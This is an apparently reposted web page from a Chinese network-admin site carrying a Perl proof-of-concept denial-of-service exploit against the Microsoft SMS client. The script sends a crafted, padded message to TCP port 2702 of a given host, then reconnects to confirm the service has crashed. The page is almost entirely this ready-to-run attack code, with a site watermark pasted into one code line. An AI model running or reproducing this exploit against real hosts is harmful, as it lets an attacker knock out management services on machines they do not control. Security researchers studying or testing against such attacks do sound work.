网管联盟 | 网管论坛 | 网管u家 | 网管博客 | 网管软件 | 网管求职 | 小游戏 | 网管搜索 | 网管原创 | 网管聚合 | 网管读摘 | 网管焦点 | 世界素材 | 会员投稿 | 会员中心 
中国网管联盟
Windows Linux Cisco 网络技术 数据库 黑客攻防 DotNet Java PHP 认证 新闻资讯 服务器 存储资讯 网络设备 网管学堂 技术专题 焦点 网吧频道
 当前位置: > bitsCN.com > 网络攻防 > 黑客技术 > Exploit > Denial of Service in Microsoft SMS Client (Exploit)  

Denial of Service in Microsoft SMS Client (Exploit)

2004-08-03  作者:BitsCN整理  来源:中国网管联盟  点评 投稿 收藏

#!/usr/bin/perl

#############################
#
# SMS DOS proof of concept and test code
# MacDefender / SRR project group of Ready Response wang@readyresponse.org
#
#############################

use Socket;
use IO::Socket;

if (@ARGV != 1)
{
 print "usage: $0 <host or ip>\n";
 exit;
}

$host = shift(@ARGV);

$hexmsg =
converthex("5243483016004000524348455858585858585858585858585858585858585
858585858585858585858585858585858585858585858585858585858585858585858585
858585858585858585858585858585858585858585858585858585858585858585858585
858585858585858585858585858585858585858585858585858585858585858585858585
858585858");

print "\nCreating socket for connection to: $host\n\n";

my $sock1 = IO::Socket::INET->new (PeerAddr => $host, PeerPort =>
"(2702)", Proto => "tcp") or die("Could not create socket: $!\n"); 网管下载dl.bitscn.com

$sock1->autoflush(1);

print $sock1 "$hexmsg";

while (<$sock1>)
{
 print;
}

print "\nPacket sent to $host (please wait) ...\n";

sleep(2);

print "Verifying status of $host ...\n";

sleep(2);

my $sock2 = IO::Socket::INET->new (PeerAddr => $host, PeerPort =>
'(2702)', Proto => 'tcp') or die("\nDOS was successful - $host is down
..\n");

print "\nAttempt was not successful. $host is still alive and responding
..\n";

close($sock1);
close($sock2);

#############################
# End main code, start subs
#############################

sub converthex
{
 local ($l) = @_;
 $l =~ s/([0-9a-f])\s*/sprintf("%c",hex($1))/egi;

 return $l;
}

#############################
# End code
#############################

网管bitscn_com


TAGs     host   print   #############################   sock1   of      
 上一篇:Mensajeitor Exploit   下一篇:ms04-022 exp for xp sp1
Denial of Service in Microsoft SMS Client (Exploit) 评论:
loading.. 评论加载中…
评论:请自觉遵守互联网相关政策法规,评论不得超过250字。

验证码: 注册用户
本类热门排行:
最新推荐文章:
网管论坛交流: